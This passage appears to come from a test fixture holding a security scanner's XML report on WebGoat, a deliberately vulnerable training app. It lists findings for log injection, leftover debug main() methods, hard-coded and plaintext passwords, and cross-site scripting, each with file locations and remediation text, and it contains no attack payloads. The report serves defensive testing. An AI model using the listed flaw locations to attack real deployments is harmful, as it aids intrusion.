-        logs, a cross-site scripting attack might be possible. The first argument
-        to log() contains tainted data from the variable output. The tainted data
-        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
-        directly embedding user input in log files when possible. Sanitize user-supplied
-        data used to construct log entries by using a safe logging mechanism such
-        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
-        returns and line feeds and can be configured to use HTML entity encoding for
-        non-alphanumeric data. Only write custom blacklisting code when absolutely
-        necessary. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
-        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
-        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"npp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"HammerHead.java\" line=\"306\" sourcefilepath=\"org/owasp/webgoat/\"
-        scope=\"org.owasp.webgoat.HammerHead\" functionprototype=\"void log(javax.servlet.http.HttpServletRequest,
-        java.lang.String)\" functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"Code quality issues stem from failure to follow good coding practices
-        and can lead to unpredictable behavior. These may include but are not limited
-        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
-        text=\"Improper resource management, such as using a pointer after it has
-        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
-        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
-        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
-        text=\"While code quality flaws are generally less severe than other categories
-        and usually are not directly exploitable, they may serve as indicators that
-        developers are not following practices that increase the reliability and security
-        of an application.  For an attacker, code quality issues may provide an opportunity
-        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
-        text=\"The wide variance of code quality issues makes it impractical to generalize
-        how these issues should be addressed.  Refer to individual categories for
-        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
-        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
-        be leftover debug code that creates an unintended entry point in a web application.
-        \ Although this is an acceptable practice during product development, classes
-        that are part of a production J2EE application should not define a main()
-        method.  Whether this method can be remotely invoked depends on the configuration
-        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
-        method may be leftover debug code that creates an unintended entry point in
-        a web application. Although this is an acceptable practice during product
-        development, classes that are part of a production J2EE application should
-        not define a main() method. Whether this method can be remotely invoked depends
-        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
-        unnecessary entry points in deployed web applications to reduce the attack
-        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
-        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"CreateDB.java\" line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.CreateDB\" functionprototype=\"void main(java.lang.String
-        \ [])\" functionrelativelocation=\"0\"/>\n<flaw severity=\"3\" categoryname=\"Leftover
-        Debug Code\" count=\"1\" issueid=\"42\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"main\" description=\"The main() method may be leftover debug code that
-        creates an unintended entry point in a web application. Although this is an
-        acceptable practice during product development, classes that are part of a
-        production J2EE application should not define a main() method. Whether this
-        method can be remotely invoked depends on the configuration of the J2EE container
-        and the application itself.\r\n\r\nEliminate unnecessary entry points in deployed
-        web applications to reduce the attack surface. Ensure that this is not a backdoor
-        disguised as debugging functionality.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\"
-        note=\"\" cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Encoding.java\" line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.Encoding\" functionprototype=\"void main(java.lang.String
-        \ [])\" functionrelativelocation=\"0\"/>\n<flaw severity=\"3\" categoryname=\"Leftover
-        Debug Code\" count=\"1\" issueid=\"243\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"main\" description=\"The main() method may be leftover debug code that
-        creates an unintended entry point in a web application. Although this is an
-        acceptable practice during product development, classes that are part of a
-        production J2EE application should not define a main() method. Whether this
-        method can be remotely invoked depends on the configuration of the J2EE container
-        and the application itself.\r\n\r\nEliminate unnecessary entry points in deployed
-        web applications to reduce the attack surface. Ensure that this is not a backdoor
-        disguised as debugging functionality.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\"
-        note=\"\" cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Exec.java\" line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\"
-        scope=\"org.owasp.webgoat.util.Exec\" functionprototype=\"void main(java.lang.String
-        \ [])\" functionrelativelocation=\"0\"/>\n<flaw severity=\"3\" categoryname=\"Leftover
-        Debug Code\" count=\"1\" issueid=\"133\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"main\" description=\"The main() method may be leftover debug code that
-        creates an unintended entry point in a web application. Although this is an
-        acceptable practice during product development, classes that are part of a
-        production J2EE application should not define a main() method. Whether this
-        method can be remotely invoked depends on the configuration of the J2EE container
-        and the application itself.\r\n\r\nEliminate unnecessary entry points in deployed
-        web applications to reduce the attack surface. Ensure that this is not a backdoor
-        disguised as debugging functionality.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\"
-        note=\"\" cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WebgoatProperties.java\" line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.WebgoatProperties\" functionprototype=\"void
-        main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"true\">\n<desc>\n<para
-        text=\"Improper management of credentials, such as usernames and passwords,
-        may compromise system security.  In particular, storing passwords in plaintext
-        or hard-coding passwords directly into application code are design issues
-        that cannot be easily remedied.  Not only does embedding a password allow
-        all of the project's developers to view the password, it also makes fixing
-        the problem extremely difficult.  Once the code is in production, the password
-        cannot be changed without patching the software.  If a hard-coded password
-        is compromised in a commercial product, all deployed instances may be vulnerable
-        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
-        plaintext passwords is to hard-code a constant string which is the result
-        of a cryptographic one-way hash.  For example, instead of storing the word
-        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
-        is a common mechanism for obscuring hard-coded passwords from casual viewing
-        but does not significantly reduce risk.  However, using cryptographic hashes
-        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
-        text=\"Avoid storing passwords in easily accessible locations, and never store
-        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
-        passwords, or hash constants whenever possible, particularly in relation to
-        security-critical components.   Store passwords out-of-band from the application
-        code.  Follow best practices for protecting credentials stored in alternate
-        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
-        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"true\">\n<description>\n<text
-        text=\"A method reads and/or stores sensitive information in plaintext, making
-        the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
-        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
-        description=\"The java.sql.DriverManager.getConnection() method reads and/or
-        stores sensitive information in plaintext, making the data more susceptible
-        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
-        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
-        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
-        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DatabaseUtilities.java\" line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.DatabaseUtilities\" functionprototype=\"java.sql.Connection
-        makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
-        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"true\">\n<description>\n<text
-        text=\"A method uses a hard-coded password that may compromise system security
-        in a way that cannot be easily remedied.  The use of a hard-coded password
-        significantly increases the possibility that the account being protected will
-        be compromised.  Moreover, the password cannot be changed without patching
-        the software.  If a hard-coded password is compromised in a commercial product,
-        all deployed instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
-        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
-        password that may compromise system security in a way that cannot be easily
-        remedied. The use of a hard-coded password significantly increases the possibility
-        that the account being protected will be compromised. Moreover, the password
-        cannot be changed without patching the software. If a hard-coded password
-        is compromised in a commercial product, all deployed instances may be vulnerable
-        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
-        best practices for protecting credentials stored in locations such as configuration
-        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
-        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"CreateDB.java\" line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.CreateDB\" functionprototype=\"void main(java.lang.String
-        \ [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"true\">\n<desc>\n<para
-        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
-        application to send malicious code, generally in the form of a browser side
-        script, to a different end user. Flaws that allow these attacks to succeed
-        occur whenever a web application uses untrusted data in the output it generates
-        without validating or encoding it.  XSS vulnerabilities are commonly exploited
-        to steal or manipulate cookies, modify presentation of content, and compromise
-        sensitive information, with new attack vectors being discovered on a regular
-        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
-        vulnerabilities can be either persistent or transient (often referred to as
-        stored and reflected, respectively).  In a persistent XSS vulnerability, the
-        injected code is stored by the application, for example within a blog comment
-        or message board.  The attack occurs whenever a victim views the page containing
-        the malicious script.  In a transient XSS vulnerability, the injected code
-        is included directly in the HTTP request.  These attacks are often carried
-        out via malicious URLs sent via email or another website and requires the
-        victim to browse to that link.  The consequence of an XSS attack to a victim
-        is the same regardless of whether it is persistent or transient; however,
-        persistent XSS vulnerabilities are likely to affect a greater number of victims
-        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
-        techniques can be used to prevent XSS attacks. These techniques complement
-        each other and address security at different points in the application. Using
-        multiple techniques provides defense-in-depth and minimizes the likelihood
-        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
-        all output generated from user-supplied input, selecting the appropriate method
-        of encoding based on the use case of the untrusted data.  For example, if
-        the data is being written to the body of an HTML page, use HTML entity encoding.
-        \ However, if the data is being used to construct generated Javascript or
-        if it is consumed by client-side methods that may interpret it as code (a
-        common technique in Web 2.0 applications), additional restrictions may be
-        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
-        input using positive filters (white lists) to ensure that it conforms to the
-        expected format, using centralized data validation routines when possible.
-        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
-        notes, or other data that will be displayed by the application.  If users
-        are permitted to include HTML tags, then carefully limit access to specific
-        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
-        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
-        a Web Page\" pcirelated=\"true\">\n<description>\n<text text=\"The application
-        does not filter text or other data for potentially malicious HTML content.
-        This enables an attacker to craft arbitrary HTML content. This vulnerability
-        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
-        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
-        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
-        Neutralization of Script in Attributes in a Web Page\" description=\"The application
-        does not filter text or other data for potentially malicious HTML content.
-        This enables an attacker to craft arbitrary HTML content. This vulnerability
-        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
-        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw severity=\"3\" categoryname=\"Improper
-        Neutralization of Script in Attributes in a Web Page\" count=\"1\" issueid=\"278\"
-        module=\"dynamic_analysis\" type=\"Improper Neutralization of Script in Attributes
-        in a Web Page\" description=\"The application does not filter text or other
-        data for potentially malicious HTML content. This enables an attacker to craft
-        arbitrary HTML content. This vulnerability typically requires that an attacker
-        be able to submit JavaScript &lt;script&gt; tags as part of a field that is
-        re-displayed to one or more users. The &lt;script&gt; tag contains instructions
-        that are executed in a user's web browser, not on the web application server.
-        JavaScript functions can be used to write raw HTML, read cookie values, pull
-        JavaScript code from a third-party web server, or send data to a third-party
-        web server.\r\n\r\nCross-site scripting and HTML injection attacks can be
-        defeated by applying robust input validation filters for all data received
-        from the web browser. Do not permit users to include HTML content in posts,
-        notes, or other data that will be displayed by the application. If users are
-        permitted to include HTML entities, then limit access to specific elements
-        or attributes. Use the programming language's built-in routines to remove
-        potentially malicious characters.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83)
-        \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw severity=\"3\"
-        categoryname=\"Improper Neutralization of Script in Attributes in a Web Page\"
-        count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper Neutralization
-        of Script in Attributes in a Web Page\" description=\"The application does
-        not filter text or other data for potentially malicious HTML content. This
-        enables an attacker to craft arbitrary HTML content. This vulnerability typically
-        requires that an attacker be able to submit JavaScript &lt;script&gt; tags
-        as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw severity=\"3\"
-        categoryname=\"Improper Neutralization of Script in Attributes in a Web Page\"
-        count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper Neutralization
-        of Script in Attributes in a Web Page\" description=\"The application does
-        not filter text or other data for potentially malicious HTML content. This
-        enables an attacker to craft arbitrary HTML content. This vulnerability typically
-        requires that an attacker be able to submit JavaScript &lt;script&gt; tags
-        as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw severity=\"3\"
-        categoryname=\"Improper Neutralization of Script in Attributes in a Web Page\"
-        count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper Neutralization
-        of Script in Attributes in a Web Page\" description=\"The application does
-        not filter text or other data for potentially malicious HTML content. This
-        enables an attacker to craft arbitrary HTML content. This vulnerability typically
-        requires that an attacker be able to submit JavaScript &lt;script&gt; tags
-        as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
-        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
-        Neutralization of Script in Attributes in a Web Page\" description=\"The application
-        does not filter text or other data for potentially malicious HTML content.
-        This enables an attacker to craft arbitrary HTML content. This vulnerability
-        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
-        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
-        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
-        Neutralization of Script in Attributes in a Web Page\" description=\"The application
-        does not filter text or other data for potentially malicious HTML content.
-        This enables an attacker to craft arbitrary HTML content. This vulnerability
-        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
-        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
-        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
-        Neutralization of Script in Attributes in a Web Page\" description=\"The application
-        does not filter text or other data for potentially malicious HTML content.
-        This enables an attacker to craft arbitrary HTML content. This vulnerability
-        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
-        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
-        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
-        Neutralization of Script in Attributes in a Web Page\" description=\"The application
-        does not filter text or other data for potentially malicious HTML content.
-        This enables an attacker to craft arbitrary HTML content. This vulnerability
-        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
-        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
-        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
-        Neutralization of Script in Attributes in a Web Page\" description=\"The application
-        does not filter text or other data for potentially malicious HTML content.
-        This enables an attacker to craft arbitrary HTML content. This vulnerability
-        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
-        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
-        tag contains instructions that are executed in a user's web browser, not on
-        the web application server. JavaScript functions can be used to write raw
-        HTML, read cookie values, pull JavaScript code from a third-party web server,
-        or send data to a third-party web server.\r\n\r\nCross-site scripting and
-        HTML injection attacks can be defeated by applying robust input validation
-        filters for all data received from the web browser. Do not permit users to
-        include HTML content in posts, notes, or other data that will be displayed
-        by the application. If users are permitted to include HTML entities, then
-        limit access to specific elements or attributes. Use the programming language's
-        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
-        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n<cwe
-        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
-        in a Web Page (Basic XSS)\" pcirelated=\"true\">\n<description>\n<text text=\"This
-        call contains a cross-site scripting (XSS) flaw.  The application populates
